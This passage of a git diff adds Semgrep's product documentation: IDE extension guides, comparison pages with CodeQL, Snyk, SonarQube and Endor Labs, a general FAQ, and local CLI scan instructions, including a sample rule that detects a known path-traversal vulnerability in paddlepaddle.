+- `Scan workspace with Semgrep`: Scan files that have been changed since the last commit in your current workspace.
+- `Scan workspace with Semgrep (Including Unmodified Files)`: Scan all files in the current workspace.
+
+
+**TIP**
+
+You can also click the Semgrep icon in the IntelliJ toolbar to quickly access all available commands.
+
+
+## Features
+
+### Automatic scanning
+
+When you open a file, Semgrep scans it right away.
+
+### Rule Quick Links
+
+Hover over a match and click the link.
+
+## Support
+
+If you need our support, join the [Semgrep community Slack workspace](https://go.semgrep.dev/slack) and tell us about any problems you encountered.
+
+## Limitations
+
+Semgrep's VS Code extension supports the use of Pro rules and cross-file analysis. Other IDE scans use Semgrep Community Edition (CE) for its speed, and these scans are limited to single-file analysis. As a result, you may encounter a higher rate of false positives.
+
+## License
+
+The Semgrep IntelliJ extension is licensed under the LGPL 2.1 license.
diff --git a/mintlify-docs/extensions/semgrep-vs-code.mdx b/mintlify-docs/extensions/semgrep-vs-code.mdx
new file mode 100644
index 0000000000..5722172898
--- /dev/null
+++ b/mintlify-docs/extensions/semgrep-vs-code.mdx
@@ -0,0 +1,139 @@
+---
+title: "Semgrep Visual Studio Code extension"
+sidebarTitle: "Visual Studio Code extension"
+---
+
+
+[Semgrep's Visual Studio Code (VS Code) Extension](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) allows you to scan lines when you open and change files in your workspace. It offers:
+
+- Automatic scans whenever you open a file
+- Inline results and problem highlighting, as well as quick links to the definitions of the rules underlying the findings
+- Rule-defined fix, which allows you to apply Semgrep's suggested resolution for the findings
+
+## Prerequisites
+
+- See [Supported Languages](/supported-languages) to verify that the extension supports your project.
+- Windows users must use Semgrep VS Code extension v1.6.2 or later.
+
+## Quickstart
+
+
+
+ [Install the Semgrep extension](https://code.visualstudio.com/editor/extension-marketplace#_install-an-extension). If you're unfamiliar with installing VS Code extensions, see the Extension Marketplace's article [Install an Extension](https://code.visualstudio.com/editor/extension-marketplace#_install-an-extension).
+
+
+ Use Ctrl+⇧Shift+P or ⌘Command+⇧Shift+P (macOS) to launch the Command Palette, and run the following to sign in to Semgrep AppSec Platform:
+
+ ```bash
+ Semgrep: Sign in
+ ```
+
+ You can use the extension without signing in, but doing so enables better results since you benefit from [Semgrep Code](/semgrep-code/overview) and its [Pro rules](/semgrep-code/pro-rules).
+
+
+ Launch the Command Palette using Ctrl+⇧Shift+P or ⌘Command+⇧Shift+P (macOS), and scan your files by running:
+
+ ```bash
+ Semgrep: Scan all files in workspace
+ ```
+
+
+ To see detailed vulnerability information, hover over the code underlined in yellow. You can also see the findings identified by Semgrep using ⇧Shift+Ctrl+M or ⌘Command+⇧Shift+M (macOS) and opening the **Problems** tab.
+
+
+
+## Commands
+
+Run Semgrep extension commands through the [Visual Studio Code Command Palette](https://code.visualstudio.com/getstarted/userinterface#_command-palette). You can access the Command Palette using Ctrl+⇧Shift+P or ⌘Command+⇧Shift+P (macOS). The following list includes all available Semgrep extension commands:
+
+- `Semgrep: Scan all files in a workspace`: Scan all files in the current workspace.
+- `Semgrep Search: Clear`: Clear pattern searches from the Primary Side Bar's Semgrep Search view.
+- `Semgrep Search: Focus on Search Results View`: Bring the Primary Side Bar's Semgrep Search view into focus
+- `Semgrep Restart Language Server`: Restart the language server
+- `Semgrep: Scan changed files in a workspace`: Scan files that have been changed since the last commit in your current workspace.
+- `Semgrep: Search by pattern`: Search for patterns in code using Semgrep pattern syntax. For more information, see [Pattern syntax](/writing-rules/pattern-syntax) documentation.
+- `Semgrep: Show Generic AST`: Show generic AST in a new window
+- `Semgrep: Show named Generic AST`: Show named AST in a new window
+- `Semgrep: Sign in`: Sign in or log in to the Semgrep AppSec Platform (this command opens a new window in your browser). When you sign in, you can automatically scan with Semgrep [Pro rules](/semgrep-code/pro-rules) and add additional rules to the [Policies](https://semgrep.dev/orgs/-/policies) in Semgrep Code. If you are logged in with the command-line interface using semgrep login, you are also already signed in with the Visual Studio Code Semgrep extension. Alternatively, you can log in through your command-line interface by running `semgrep login`.
+- `Semgrep: Sign out`: Log out from Semgrep AppSec Platform. Alternatively, you can sign out through your command-line interface by running `semgrep logout`.
+- `Semgrep: Update rules`: For logged-in users. If the rules in the [Policies](https://semgrep.dev/orgs/-/policies) or rules included through the **Semgrep › Scan: Configuration** configuration option have been changed, this command loads the new configuration of your rules for your following scan.
+
+
+**TIP**
+
+Tip: You can click the Semgrep icon in the Visual Studio Code to access all available commands quickly.
+
+
+## Additional extension features
+
+Use auto-fix to apply code change suggestions from Semgrep to remediate the security issue.
+
+
+
+
+
+Add and update new rules to expand Semgrep extension's capabilities.
+
+
+
+
+
+Fine-tune and customize the rules Semgrep uses to improve your scan results:
+
+
+
+ Go to [Semgrep Registry](https://semgrep.dev/explore). Ensure that you are signed in.
+
+
+ Explore the Semgrep Registry, select a rule, and then click **Add to Policy**. You can view and manage your rules in [Policies](https://semgrep.dev/orgs/-/policies).
+
+
+ Rescan your code. Use Ctrl+⇧Shift+P or ⌘Command+⇧Shift+P (macOS) to launch the Command Palette, then run `Semgrep: Update rules`.
+
+
+
+## Configure the extension
+
+To configure the Semgrep extension, open its **Extension Settings** page:
+
+
+
+ Use ⇧Shift+Ctrl+X or ⇧Shift+⌘Command+X (macOS) to open the **Extensions** view.
+
+
+ Select **Semgrep**.
+
+
+ Click the **gear** and select **Extension Settings**.
+
+
+
+### Configuration options
+
+- **Semgrep › Do Hover**: Enable AST node views when hovering over a finding.
+- **Semgrep › Path**: Set the path to the Semgrep executable.
+- **Semgrep › Scan: Configuration**: Specify rules or rulesets you want Semgrep to use to scan your code. Each item can be a YAML configuration file, a URL of a configuration file, or a directory of YAML files. Use `auto` to automatically obtain rules tailored to your project. Semgrep uses your project URL to log into the Semgrep Registry. See [Running rules](/running-rules) for more information. Run `Semgrep: Update rules` using the Visual Studio Code Command Palette to update the rules configuration for your following scan whenever you change the rule configuration.
+- **Semgrep › Scan: Exclude**: List files and directories that Semgrep should ignore when scanning.
+- **Semgrep › Scan: Include**: List files and directories scanned by Semgrep. This option globally overrides the workspace setting. As a result, Semgrep scans all included paths.
+- **Semgrep › Scan: Jobs**: Specify how many parallel jobs can run simultaneously. The default number of parallel jobs is one.
+- **Semgrep › Scan: Max Memory**: Sets the maximum memory in MB to use.
+- **Semgrep › Scan: Max Target Bytes**: Sets the maximum size of the target in bytes to scan.
+- **Semgrep › Scan: Only Git Dirty**: Allow Semgrep to scan your code whenever you open a new file and display the findings for lines that have changed since the last commit. On by default.
+- **Semgrep › Scan: Pro_intrafile**: Enable intrafile scanning using the Pro Engine.
+- **Semgrep › Scan: Timeout**: Set the maximum run time in seconds before Semgrep times out and stops scanning your code. The default value is 30.
+- **Semgrep › Scan: Timeout Threshold**: Set the maximum number of rules that can timeout on a file before the file is skipped. If set to 0, there will be no limit. Defaults to 3.
+- **Semgrep > Trace: Server**: This option is useful for debugging. The **messages** option displays communication of the Semgrep Visual Studio Code extension with the LSP server. The default option is **verbose**.
+
+### Experimental configuration options
+
+The following experimental features should only be used upon recommendation by Semgrep:
+
+- **Semgrep > Ignore CLI Version**: Ignore the CLI Version and enable all extension features.
+
+## Limitations
+
+Semgrep's VS Code extension supports the use of Pro rules and cross-file analysis. Other IDE scans use Semgrep Community Edition (CE) for its speed, and these scans are limited to single-file analysis. As a result, you may encounter a higher rate of false positives.
+
+## License
+
+The Semgrep VS Code extension is licensed under the LGPL 2.1 license.
diff --git a/mintlify-docs/faq/comparisons/codeql.mdx b/mintlify-docs/faq/comparisons/codeql.mdx
new file mode 100644
index 0000000000..563a81b03d
--- /dev/null
+++ b/mintlify-docs/faq/comparisons/codeql.mdx
@@ -0,0 +1,14 @@
+---
+title: "Compare Semgrep to CodeQL"
+description: "Both Semgrep and CodeQL use static analysis to find bugs, but there are a few differences:"
+---
+
+
+- Semgrep operates directly on source code, whereas CodeQL requires a buildable environment.
+- Semgrep provides both proprietary and open source options that can be run anywhere; CodeQL is not open source and you must pay to run it on any non-open-source code.
+- Semgrep focuses on speed and ease of use. and doesn’t require compiled code.
+ - Semgrep Community Edition (CE) provides [intraprocedural dataflow](/writing-rules/data-flow/data-flow-overview). [Semgrep Code](/semgrep-code/overview)'s cross-file and cross-function analysis has similar capabilities as CodeQL in terms of cross-function dataflow analysis for a subset of supported languages.
+- Both have publicly available rules.
+- Semgrep rules look like the source code you’re writing; CodeQL has a separate domain-specific-language for writing queries.
+- Semgrep has an online, hosted free plan for up to ten contributors to private repositories; both have a hosted paid plan.
+
diff --git a/mintlify-docs/faq/comparisons/endor-labs.mdx b/mintlify-docs/faq/comparisons/endor-labs.mdx
new file mode 100644
index 0000000000..be706ffaa0
--- /dev/null
+++ b/mintlify-docs/faq/comparisons/endor-labs.mdx
@@ -0,0 +1,85 @@
+---
+title: "Compare Semgrep to Endor Labs"
+---
+
+## Prioritization
+
+Both Endor Labs and Semgrep support the prioritization of findings so that AppSec teams focus on the most impactful findings. While both companies offer findings filters based on criteria like reachability and EPSS scores, Semgrep offers support for statuses in addition to the basic reachability statuses of **reachable** and **not reachable**, such as **always reachable** and **conditionally reachable**.
+
+Furthermore, Semgrep Multimodal uses AI to help organization admins receive information on top backlog tasks, allowing them to prioritize findings from all products, including the SAST and SCA products, not just those resulting from dependency vulnerability scans.
+
+## Reachability for transitive dependencies
+
+Reachability has been a fundamental part of Semgrep Supply Chain from the beginning. Supply Chain offers advanced reachability analysis for direct dependencies in the form of dataflow reachability, offering accuracy beyond that offered by Endor Labs. This coverage is offered for seven languages and counting.
+
+## Vulnerable functions
+
+Semgrep doesn't just identify a vulnerability as reachable when a vulnerable function is called -- it also takes into account *how* the vulnerable function is called and what data flows into that function. These functions are achieved through the use of Semgrep's rule syntax; when a rule is written, all possible permutations of the vulnerability are encapsulated in the rule. This functionality is something that Endor Labs doesn't have.
+
+Semgrep's security research team doesn't just focus on analyzing a vulnerable function when writing rules. The team extends the scope of analysis to all the third-party callers of the vulnerable functions, not just the reported third-party function that's vulnerable. This extends the set of vulnerable functions greatly. The following rule demonstrates this functionality:
+
+```yaml expandable
+---
+rules:
+ - id: ssc-a462c702-1797-4f92-a577-2232cc25ab08
+ message: Affected versions of paddlepaddle are vulnerable to Improper Limitation
+ Of A Pathname To A Restricted Directory ('Path Traversal') in the
+ `download` and `_check_exists_and_download` of `paddle.dataset.common`.
+ severity: HIGH
+ metadata:
+ confidence: HIGH
+ category: security
+ cve: CVE-2024-0818
+ cwe:
+ - "CWE-22: Improper Limitation of a Pathname to a Restricted Directory
+ ('Path Traversal')"
+ ghsa: GHSA-2rp8-hff9-c5wr
+ owasp:
+ - A01:2021 - Broken Access Control
+ - A05:2017 - Broken Access Control
+ - A06:2021 - Vulnerable and Outdated Components
+ publish-date: 2024-03-07T15:30:38Z
+ references:
+ - https://github.com/advisories/GHSA-2rp8-hff9-c5wr
+ - https://nvd.nist.gov/vuln/detail/CVE-2024-0818
+ sca-fix-versions: []
+ sca-kind: reachable
+ sca-schema: 20230302
+ sca-severity: CRITICAL
+ sca-vuln-database-identifier: CVE-2024-0818
+ technology:
+ - python
+ r2c-internal-project-depends-on:
+ depends-on-either:
+ - namespace: pypi
+ package: paddlepaddle
+ version: <=2.6.0
+ languages:
+ - python
+ patterns:
+ - pattern-either:
+ - pattern: paddle.dataset.common.download(...)
+ - pattern: paddle.dataset.common._check_exists_and_download(...)
+```
+
+The vulnerable function is `download`, as shown by the [fix commit](https://github.com/PaddlePaddle/Paddle/commit/5c50d1a8b97b310cbc36560ec36d8377d6f29d7c). The function `_check_exists_and_download` calls `download`, which you can see in the [source code](https://github.com/PaddlePaddle/Paddle/blob/5c50d1a8b97b310cbc36560ec36d8377d6f29d7c/python/paddle/dataset/common.py#L223). Thus, both functions are flagged in the rule in the final three lines.
+
+Learn more about how the security research team writes rules in [A day in the life: Supply Chain Security Researcher](https://semgrep.dev/blog/2024/a-day-in-the-life-/learn/security-foundations/supply-chain-security-researcher)
+
+## Policies and flexibility
+
+Semgrep Supply Chain results in a failed CI job only when there are critical or high-severity findings. However, Semgrep supports notifications and integration with Jira to create tickets for all Supply Chain findings, and it offers the ability to only leave comments on PRs or block a change regarding license detection.
+
+The policies for Semgrep's other products, Semgrep Code and Semgrep Secrets, provide extensive flexibility, especially with respect to a developer's workflow, by allowing results to appear:
+
+- Only in the AppSec team’s view (monitor mode)
+- In the AppSec team's view **and** in the developer’s workflow, while not failing the CI job (comment mode)
+- In the AppSec team's view **and** in the developer’s workflow, while also failing the CI job (block mode)
+
+## Dependency lifecycle management
+
+To help you manage your findings, Semgrep provides information, including EPSS probabilities, severity levels, transitivity information, and multiple levels of dataflow reachability.
+
+## Accuracy of results
+
+Semgrep has reachability analysis for over 80% of critical CVEs dating back to 2017 and 100% of critical and high severity CVEs dating back to May 2022. Endor Labs' reachability data, however, dates back to 2018.
diff --git a/mintlify-docs/faq/comparisons/opengrep-1.mdx b/mintlify-docs/faq/comparisons/opengrep-1.mdx
new file mode 100644
index 0000000000..caa3885b46
--- /dev/null
+++ b/mintlify-docs/faq/comparisons/opengrep-1.mdx
@@ -0,0 +1,7 @@
+---
+title: "Compare Semgrep to Opengrep"
+---
+
+import CompareSemgrepToOpengrep from "/snippets/faq/comparisons/opengrep.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/faq/comparisons/opengrep.mdx b/mintlify-docs/faq/comparisons/opengrep.mdx
new file mode 100644
index 0000000000..caa3885b46
--- /dev/null
+++ b/mintlify-docs/faq/comparisons/opengrep.mdx
@@ -0,0 +1,7 @@
+---
+title: "Compare Semgrep to Opengrep"
+---
+
+import CompareSemgrepToOpengrep from "/snippets/faq/comparisons/opengrep.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/faq/comparisons/snyk.mdx b/mintlify-docs/faq/comparisons/snyk.mdx
new file mode 100644
index 0000000000..4478d27bcc
--- /dev/null
+++ b/mintlify-docs/faq/comparisons/snyk.mdx
@@ -0,0 +1,41 @@
+---
+title: "Compare Semgrep to Snyk"
+---
+
+## SAST
+
+Both Semgrep and Snyk offer out-of-the-box SAST solutions. Semgrep makes it easier to customize the rules that run against your code. Because these rules are visible and customizable, you can analyze your results to see if the relevant vulnerabilities were caught.
+
+In addition to selecting your rules, Semgrep allows you to write custom rules to capture use cases driven by your organization's goals. To help you write rules, [Semgrep Editor](https://semgrep.dev/playground) provides a structure mode to guide you through the process, allows you to test your in-progress rules, and adds them to your organization’s [Policies page](/semgrep-code/policies). Semgrep offers rule-writing capabilities to all users, while Snyk limits it to Enterprise users.
+
+Both Semgrep and Snyk offer remediation advice for findings identified during scans. Snyk displays its recommendations in its web app, in supported IDEs, and CLI, while Semgrep displays remediation advice and guidance in its web app, CLI, supported IDEs, and in the form of PR or MR comments.
+
+Snyk and Semgrep both display prioritization metrics to help you decide which findings you should work on first. For SAST, Snyk encapsulates this information into a priority score, which provides you with information on the impact and actionability related to the finding. Semgrep, on the other hand, provides severity information, confidence in the rule to detect findings that are true positives, and likelihood that an attacker can exploit the issues found.
+
+Additionally, Semgrep provides action recommendations through Multimodal, which offers AI-powered security recommendations to help you review, triage, and remediate your Semgrep findings.
+
+Snyk offers autofix capabilities for its SCA product, but not for its SAST product. Semgrep offers **Suggested fixes** for SAST and SCA. In the event of a true positive where the rule doesn't have a human-written Suggested fix, [Multimodal can create one](/semgrep-multimodal/overview#autofix).
+
+## SCA
+
+Snyk offers reachability analysis for Java, JavaScript, and TypeScript, while Semgrep offers reachability analysis for [multiple languages, including Java, JavaScript, and Ruby](/supported-languages/#semgrep-supply-chain)
+
+Snyk can detect whether dependencies are direct or transitive. However, this information is only available with Enterprise plans, and the information is limited to projects using Maven or Node.js, specifically npm and Yarn packages. Semgrep Supply Chain offers advanced reachability analysis for direct dependencies in the form of dataflow reachability. Semgrep offers this coverage for seven languages and counting.
+
+Semgrep and Snyk both offer license compliance features, ensuring that the dependencies that your developers use meet the requirements set by your organization.
+
+To help you manage your findings, Semgrep provides you with the findings' EPSS probabilities, severity levels and transitivity information. Snyk assesses impact and likelihood and encapsulates this information into a risk score.
+
+## Policies and rules management
+
+Semgrep Code and Semgrep Secret's policies management feature provides extensive flexibility, especially with respect to a developer's workflow, by allowing results to appear:
+
+- Only in the AppSec team’s view (monitor mode)
+- In the AppSec team's view **and** in the developer’s workflow, while not failing the CI job (comment mode)
+- In the AppSec team's view **and** in the developer’s workflow, while also failing the CI job (block mode)
+
+Semgrep Supply Chain results in a failed CI job only when there are critical or high-severity findings.
+
+## Secrets detection
+
+Semgrep Secrets leverages semantic analysis, entropy analysis, and validation to accurately detect and fix secrets. Snyk maintains a [business partnership with GitGuardian](https://blog.gitguardian.com/were-teaming-up-with-snyk-to-strengthen-developer-security/) to offer secrets scanning as part of Snyk Code.
diff --git a/mintlify-docs/faq/comparisons/sonarqube.mdx b/mintlify-docs/faq/comparisons/sonarqube.mdx
new file mode 100644
index 0000000000..1c4784ee2f
--- /dev/null
+++ b/mintlify-docs/faq/comparisons/sonarqube.mdx
@@ -0,0 +1,12 @@
+---
+title: "Compare Semgrep to SonarQube"
+description: "Both Semgrep and SonarQube use static analysis to find bugs, but there are a few differences:"
+---
+
+- Extending Semgrep with custom rules is simple since Semgrep rules look like the source code you’re writing. Writing custom rules with SonarQube is [ restricted to a handful of languages](https://docs.sonarqube.org/latest/extend/adding-coding-rules/) and requires familiarity with Java and abstract syntax trees (ASTs).
+- Semgrep supports user-created, rule-defined fixes; SonarQube does not.
+- Semgrep focuses on speed and ease-of-use, making analysis possible at up to 20K-100K loc/sec per rule. SonarQube authors [report approximately 0.4K loc/sec for rulesets in production](https://web.archive.org/web/20221109203440/https://community.sonarsource.com/t/performance-guide-for-large-project-analysis/148/2).
+- Both have publicly available rules
+- Semgrep has an online, hosted free plan for up to ten contributors to private repositories; both have a hosted paid plan.
+
+See [the Semgrep development philosophy](/contributing/semgrep-philosophy) for more about what makes Semgrep different.
diff --git a/mintlify-docs/faq/overview.mdx b/mintlify-docs/faq/overview.mdx
new file mode 100644
index 0000000000..fcb85e2184
--- /dev/null
+++ b/mintlify-docs/faq/overview.mdx
@@ -0,0 +1,261 @@
+---
+title: "Frequently asked questions"
+---
+
+## General
+
+
+
+
+#### Semgrep Community Edition (CE)
+
+Semgrep CE is a free, community-supported code scanning tool. It's perfect for individuals, security auditors, and penetration testers who need fast, one-off scans. You can use it at work, on private and proprietary code, no problem!
+
+Semgrep CE includes:
+
+- The Semgrep [open source engine](https://github.com/semgrep/semgrep): Governed by the [LGPL 2.1]() license
+- [Semgrep-maintained Rules](https://github.com/semgrep/semgrep-rules/): Governed by the [Semgrep Rules License v. 1.0](https://semgrep.dev/legal/rules-license/)
+
+Semgrep offers three paid products, designed for Application Security teams to use in production:
+
+- [ Semgrep Code](https://semgrep.dev/products/semgrep-code), a static application security testing (SAST) tool that can perform taint, cross-file, and cross-function analysis.
+- [ Semgrep Supply Chain](https://semgrep.dev/products/semgrep-supply-chain/), which performs dependency scanning.
+- [ Semgrep Secrets](https://semgrep.dev/products/semgrep-secrets/), which can detect and validate leaked secrets in code.
+
+#### Semgrep Rules
+
+All Semgrep maintained rules are licensed under the [Semgrep Rules License v. 1.0](https://semgrep.dev/legal/rules-license/). The source for these rules is available at the [`semgrep/semgrep-rules` repository](https://github.com/semgrep/semgrep-rules/).
+
+These rules can only be used for internal business purposes. These rules cannot be resold without permission from Semgrep, Inc. (“Semgrep”). Since Semgrep offers a paid, hosted application, it’s important to have this restriction so other companies cannot resell Semgrep’s rules as a competing service.
+
+
+
+
+Yes! Semgrep is safe to run on your private code. The [Semgrep Rules License v. 1.0](https://semgrep.dev/legal/rules-license/) restrictions only come into effect if you are **selling** a product using rules provided in the Semgrep Registry. If that’s the case, contact [ partnerships@semgrep.com](mailto:partnerships@semgrep.com) to learn more.
+
+
+
+
+The Semgrep Registry can import rules from sources other than the `semgrep/semgrep-rules` repository, such as [ Trail of Bits](https://github.com/trailofbits/semgrep-rules). These rules have their own licenses.
+
+
+
+
+If you are a security consultant and you want to use Semgrep CE as part of your assessments, that’s great and you don’t have to pay. Feel free to refer your clients to our [Semgrep](https://semgrep.dev/) product suite.
+
+If your service delivers code scanning, meaning a service that includes static application security testing (SAST), software composition analysis (SCA), or secrets scanning, and you want to charge for scanning that includes rules in the [ semgrep-rules repository](https://github.com/semgrep/semgrep-rules), **you must purchase a license**.
+
+If you want to use Semgrep Code, including its proprietary cross-file (interfile) analysis, Semgrep Supply Chain (SCA), or Semgrep Secrets rules as part of your consulting services, you need a license. Please contact us at [ partnerships@semgrep.com](mailto:partnerships@semgrep.com).
+
+
+
+
+Because Semgrep CE is licensed under the GNU Lesser General Public License v2.1, you can ship your own code analysis software using Semgrep CE without an explicit license from Semgrep, Inc.
+
+
+
+
+All users can contact Semgrep support. Regardless if you are a free tier or paid tier user, reach our support through the [Semgrep Community Slack](https://go.semgrep.dev/slack). Paying Semgrep Team tier customers receive 8\*5 email and Slack support with committed SLAs. See [Support](/support) for more details.
+
+
+
+
+Embed a special version of Semgrep Playground with an `iframe`. The source is `https://semgrep.dev/embed/editor?snippet=` where the `snippet-id` is either the short identifier generated when you share a Playground link (this usually looks like `DzKv`) or the named identifier from a saved rule (this usually looks like `username:rule-name`).
+
+```html
+
+```
+
+
+
+
+Semgrep is semantic grep for code: it understands the **structure of code** and builds a syntax tree to search for matches. Where `grep "2"` only matches the exact string `2`, Semgrep matches other equivalent forms, such as [`x = 1; y = x + 1`](https://semgrep.dev/playground/s/5rKgj) when searching for `2`. Semgrep's [pattern syntax](/writing-rules/pattern-syntax/) provides specific mechanisms to fine-tune matches, such as the [ellipsis operator](/writing-rules/pattern-syntax#ellipsis-operator) and [metavariables](/writing-rules/pattern-syntax#metavariables).
+
+See the following rule for a more complex example illustrating Semgrep features:
+
+
+
+
+
+- It uses [typed metavariables](/writing-rules/pattern-syntax/#typed-metavariables) so it can specify the type `http.Request`.
+- In the sink, the rule tracks imports down to function usage.
+- In the sanitizer, it removes type aware Booleans and a string convert function.
+- It leverages regex only to reduce how many patterns to write for finding dangerous functions.
+
+
+
+
+See [Support for all versions of a programming language](/kb/semgrep-code/support-for-language-versions).
+
+
+
+
+## Comparisons
+
+
+
+
+Semgrep provides a simple syntax for writing rules: if you can write code, you can write a Semgrep rule—no program analysis Ph. D. required!
+
+To the Semgrep team's knowledge, the only other tool with the explicit goal of allowing custom rules is GitHub’s proprietary tool, CodeQL. CodeQL has a domain-specific language that is extremely powerful but is designed for those with significant program analysis expertise, whereas Semgrep is designed for the security engineer or developer who wants to automate code review. Our goal is to make writing a Semgrep rule as easy as copying the code you want to find and providing it to Semgrep. Then the Semgrep Engine creates the rule and provides a high-quality, Rule-defined fix that runs in CI, your text editor, or your IDE.
+
+[Semgrep AppSec Platform](https://semgrep.dev/manage) provides a Team tier that is free for up to 10 contributors on private repositories. It offers a hosted CI integration with a quick setup so you can start running Semgrep right away.
+
+Semgrep's diff-awareness lets you scan new code and doesn’t force you to fix all the existing issues when you first start. For users running inside organizations with many repositories, the hosted offering also offers a policy and notification system that makes it easy to tune Semgrep so that it only reports issues or suggests fixes that get applied.
+
+Our goal is a 99% fix rate for what Semgrep reports.
+
+
+
+
+#### Speedy and offline: Semgrep runs offline on every keystroke
+
+If you are shipping code daily a code analysis tool that takes a week to run is not helpful. We think modern static analysis tools should run on every keystroke in the editor, without needing network access. Semgrep runs at approximately 20K-100K loc/sec per rule but our goal is to be even faster.
+
+#### Semantic: Semgrep is smart
+
+Semgrep automatically handles the nuance of “there’s more than one way to do it”: you write your query and all equivalent variations of that code are automatically matched.
+
+As Semgrep evolves, queries similar to `foo("password")` become smarter. In the original version of Semgrep, this query would only match the code `foo("password")`. But a few months after release Semgrep would match `const x = "password"; foo(x)`.
+
+Today Semgrep can [do even more with intraprocedural dataflow](https://semgrep.dev/s/50zj) analysis, and we’re working on adding more of these semantic features with every release.
+
+#### Integrated: Semgrep understands Git
+
+It’s easy to write a new Semgrep rule and have it only apply _going forward_. You can [ignore findings](/ignoring-files-folders-code) of course, but we have [ built-in support for this with Semgrep AppSec Platform](https://semgrep.dev/manage) and various repository integrations.
+
+#### Portable: If you write a Semgrep rule, it runs anywhere
+
+Many other tools require a buildable environment or can only be run in a VM. Semgrep runs “on the metal” and has minimal dependencies around a statically linked core; our parsers are declaratively generated C libraries (we contribute to and use [tree-sitter](https://tree-sitter.github.io)).
+
+See [the Semgrep philosophy](/contributing/semgrep-philosophy) for further reading.
+
+
+
+
+Similar to a linter, Semgrep can be run in your developer's IDE. Semgrep has three IDE extensions:
+
+- [Visual Studio Code (VS Code)](/extensions/semgrep-vs-code)
+- [IntelliJ](/extensions/semgrep-intellij)
+- [ LSP support for Emacs](https://github.com/emacs-lsp/lsp-mode)
+
+Linters use static analysis but typically have a narrower scope for analysis (most rules typically operate on a single line). Some linters also cover stylistic decisions (for example use of tabs versus spaces), but Semgrep doesn’t care about whitespace or formatting.
+
+Semgrep’s [registry](https://semgrep.dev/explore) includes rulesets inspired by the rules of many popular linters and checkers, including ESLint, RuboCop, Bandit, and FindSecBugs. But Semgrep also allows you to enable multiple rulesets at the same time without adding linter-specific artifacts or installation to your code repository.
+
+Some popular linter tools may use tools like Semgrep as an internal engine, and we encourage this! For instance, the popular scanner _NodeJSScan_ was re-written to use Semgrep as the core.
+
+Lastly, while many linters are extensible, you need to learn specific abstract syntax tree (AST) based patterns for writing custom rules. Semgrep works across languages and you learn its syntax once; you don't have to mess with MemberExpressions, node visitors, and all that. Before Semgrep, many of us on the maintainer team were writing AST-based rules as well: [one of us wrote an article comparing writing linter rules to Semgrep expressions](https://semgrep.dev/blog/2020/why-i-moved-to-semgrep-for-all-my-code-analysis/).
+
+
+
+
+See how Semgrep compares to:
+
+- [CodeQL](/faq/comparisons/codeql)
+- [Endor Labs](/faq/comparisons/endor-labs)
+- [Opengrep](/faq/comparisons/opengrep)
+- [Snyk](/faq/comparisons/snyk)
+- [Sonarqube](/faq/comparisons/sonarqube)
+
+
+
+
+## Privacy and Security
+
+
+
+
+Semgrep, Inc uses Amazon Web Services (US region) for storing customer data.
+
+
+
+
+All customer data is located in AWS (US region). Amazon RDS encrypted database instances use industry-standard AES-256 encryption and TLS 1.2 or higher is used for all data-in-transit.
+
+
+
+
+When Semgrep runs entirely in CI, your source code stays in the environment. Only run metadata is sent to Semgrep’s service (see the next question).
+
+Some Semgrep features, such as Semgrep Managed Scans and Semgrep Multimodal, require code access. See [Security](/deployment/managed-scanning/overview#security) for more information on how Managed Scans use your code and Multimodal's [Data privacy and legal considerations](/semgrep-multimodal/privacy) to understand how your code is stored and retained.
+
+
+
+
+[Semgrep](https://github.com/semgrep/semgrep) sends data to Semgrep AppSec Platform in accordance with the [metrics policy](/metrics).
+
+These types of data include **scan data** and **findings data**.
+
+- Scan data includes project name, CI environment, and scan meta-data.
+- Findings data are used to provide human-readable content for notifications and integrations, as well as tracking results as new, fixed, or duplicate.
+
+For more information and a detailed description of each data field, refer to [the relevant section in metrics.md](https://github.com/semgrep/semgrep/blob/develop/metrics.md#data-collected-when-explicitly-requested).
+
+
+
+
+Semgrep makes network requests in accordance with the data storage previously mentioned.
+
+[Semgrep](https://github.com/semgrep/semgrep) makes the following network requests:
+
+- When running without `--disable-version-check`, Semgrep makes a network request to check for updates.
+- When providing a URL to `--output`, Semgrep performs an HTTP `POST` of the results to the specified URL.
+- When providing a registry ID like `p/ci` to `--config`, Semgrep requests the configuration from the [Registry](https://semgrep.dev/explore) and may send metrics in accordance with the [metrics policy](/metrics).
+
+
+
+
+## Configuration
+
+
+
+
+Semgrep AppSec Platform provides centralized policy management. See the [Policies documentation](/semgrep-code/policies) for more details.
+
+
+
+
+A policy is a simple collection of rules and a definition of what to do with rule results: fail the Semgrep CI run and/or send non-blocking notifications to third-party services like Slack. Please see the [Policies documentation](/semgrep-code/policies) for more details.
+
+
+
+
+## Monitoring
+
+
+
+
+Semgrep Team users can create custom dashboards and visualizations. Semgrep also supports posting results through [webhooks](/semgrep-appsec-platform/webhooks) to any JSON endpoint, so you can easily integrate it with your favorite visualization tool.
+
+
+
+
+## Privacy
+
+
+
+
+Semgrep, Inc. retains findings data as long as an account remains active. Semgrep securely destroy data within **90 days of contract termination** for **Enterprise** customers.
+
+Additionally, account owners may request data destruction at any time by contacting [Support](/support).
+
+
+
+
+
+Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support/) for other ways to get help.
\ No newline at end of file
diff --git a/mintlify-docs/favicon.png b/mintlify-docs/favicon.png
new file mode 100644
index 0000000000..86cacaba50
Binary files /dev/null and b/mintlify-docs/favicon.png differ
diff --git a/mintlify-docs/fonts/proximanova-light-webfont.woff2 b/mintlify-docs/fonts/proximanova-light-webfont.woff2
new file mode 100644
index 0000000000..263cbf8dd6
Binary files /dev/null and b/mintlify-docs/fonts/proximanova-light-webfont.woff2 differ
diff --git a/mintlify-docs/for-developers/cli.mdx b/mintlify-docs/for-developers/cli.mdx
new file mode 100644
index 0000000000..e5c8c5857d
--- /dev/null
+++ b/mintlify-docs/for-developers/cli.mdx
@@ -0,0 +1,60 @@
+---
+title: "Run local CLI scans"
+description: "You can run local Semgrep CLI scans with the Semgrep command-line tool."
+---
+
+## Prerequisites
+
+- An existing Semgrep org account.
+- Semgrep CLI tool installed in your local machine.
+
+## Best practices
+
+It's best to run the following command for local scans:
+
+```bash
+semgrep ci --dry-run
+```
+
+- The command `semgrep ci` tells Semgrep to use your organization's chosen analyses and rules for the scan.
+- The `--dry-run` flag ensures that your scans are not uploaded to the Semgrep web app. This is recommended because your code could be a work in progress, subject to change, whereas code uploaded as a PR or MR usually indicates the code is ready for review.
+
